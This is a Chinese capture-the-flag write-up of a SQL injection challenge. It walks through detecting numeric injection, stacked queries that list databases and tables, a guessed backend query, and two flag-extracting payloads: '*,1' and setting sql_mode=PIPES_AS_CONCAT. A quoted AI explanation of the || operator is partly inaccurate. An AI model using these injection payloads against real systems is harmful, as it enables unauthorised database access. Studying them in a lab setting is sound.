题目环境:
把你的旗子给我,我会告诉你旗子是不是对的。
判断注入类型
1'
回显结果
不是字符型SQL注入
1
回显结果
数字型SQL注入
查所有数据库,采用堆叠注入
1;show databases;
查看所有数据表
1;show tables;
尝试爆Flag数据表的字段
1;show columns from Flag;
回显错误
到这里,大佬们直接猜出了后端语句
select $_GET['query'] || flag from Flag
我直接好家伙,大佬果然是大佬
||就是SQL里面的逻辑或运算符
解法1:
*,1
那么传到后端语句就是
select *,1 || flag from Flag
这里我问了下文心一言,看完我也理解了
这段SQL代码的含义是:从Flag表中选择所有的列,以及由列flag的值与数字1进行连接生成的新列。 具体来说: select *:选择所有的列。 1 || flag:这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行,都会生成一个新的字符串,这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串,那么这两个字符串将被连接起来。 from Flag:从Flag表中选择数据。 因此,这段代码的输出结果将包含Flag表的所有列,以及一个名为“1”的列,该列的值是flag列的值与数字1的连接。
大致意思,就是查看数据表Flag的所有列内容,然后添加了一个由列flag的值与数字1进行连接生成的新列,这个新的列名就叫1,那么猜测或者说就是flag被过滤,我们还能查到flag列的值,因为flag的值复制到了新的列1。
*,0
可以明显看到新的列名0和flag的值连接起来了
*,1
对吧,新列名为1
*,2
还是为1,所有还可以看出Flag数据表的列只能是两个
解法2:
既然题目内置的是逻辑或运算符,那咱们直接把它改成字符串连接符不就好了嘛(滑稽)
使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1
查询第一列
1;set sql_mode=PIPES_AS_CONCAT;select 1
回显结果:
可以明显看出解法1和解法2的回显结果有明显不同